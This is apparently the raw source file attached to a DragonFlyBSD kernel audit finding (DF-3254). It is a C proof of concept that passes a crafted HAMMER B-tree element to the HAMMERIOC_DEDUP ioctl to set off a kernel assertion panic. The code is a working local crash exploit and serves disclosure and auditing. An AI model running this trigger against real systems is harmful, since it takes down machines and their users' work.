⬢ DragonFlyBSD Kernel Audit
DF-3254 / dedup_trigger.c
← back to finding ↓ download raw
/*
 * DF-3254 trigger: HAMMERIOC_DEDUP with elm1/elm2 = the (patched) DATA
 * leaf base element.  hammer_ioc_dedup() runs
 * hammer_btree_extract_data() on cursor1 (hammer_dedup.c:66) BEFORE the
 * hammer_is_zone_data() validation at :92-93 -> zone-0 data_offset hits
 * KKASSERT(HAMMER_ZONE(buf_offset) != 0) in _hammer_bread
 * (hammer_ondisk.c:1123) -> INVARIANTS panic.
 *
 * usage: dedup_trigger <mounted-dir> <obj_id> <rec_type> <key> <create_tid> <localization> <obj_type>
 *   (all numeric, hex allowed with 0x)
 *   OR: dedup_trigger <mounted-dir> --copy <image-offset>   (read base elm
 *       straight from the image file at the given 4K-node offset, elm 0)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "hammer_ioctl.h"

int main(int argc, char **argv)
{
	struct hammer_ioc_dedup dedup;
	unsigned char buf[64];
	int fd, r;

	if (argc != 5 || strcmp(argv[2], "--copy")) {
		fprintf(stderr, "usage: dedup_trigger <dir> --copy <image> <element-offset>\n");
		return 2;
	}

	{
		int img = open(argv[3], O_RDONLY);
		off_t eo = strtoll(argv[4], NULL, 0);
		if (img < 0) { perror("open image"); return 2; }
		if (pread(img, buf, 64, eo) != 64) { perror("pread"); return 2; }
		close(img);
	}

	memset(&dedup, 0, sizeof(dedup));
	memcpy(&dedup.elm1, buf, sizeof(dedup.elm1));
	memcpy(&dedup.elm2, buf, sizeof(dedup.elm2));

	printf("elm1: obj_id=%jd key=%jd create_tid=%jd rec_type=%x localization=%x\n",
	       dedup.elm1.obj_id, dedup.elm1.key, dedup.elm1.create_tid,
	       dedup.elm1.rec_type, dedup.elm1.localization);

	fd = open(argv[1], O_RDONLY);
	if (fd < 0) { perror("open dir"); return 2; }
	printf("issuing HAMMERIOC_DEDUP...\n");
	fflush(stdout);
	r = ioctl(fd, HAMMERIOC_DEDUP, &dedup);
	printf("ioctl returned %d errno=%d (%s) head.flags=%x head.error=%d\n",
	       r, errno, strerror(errno), dedup.head.flags, dedup.head.error);
	return 0;
}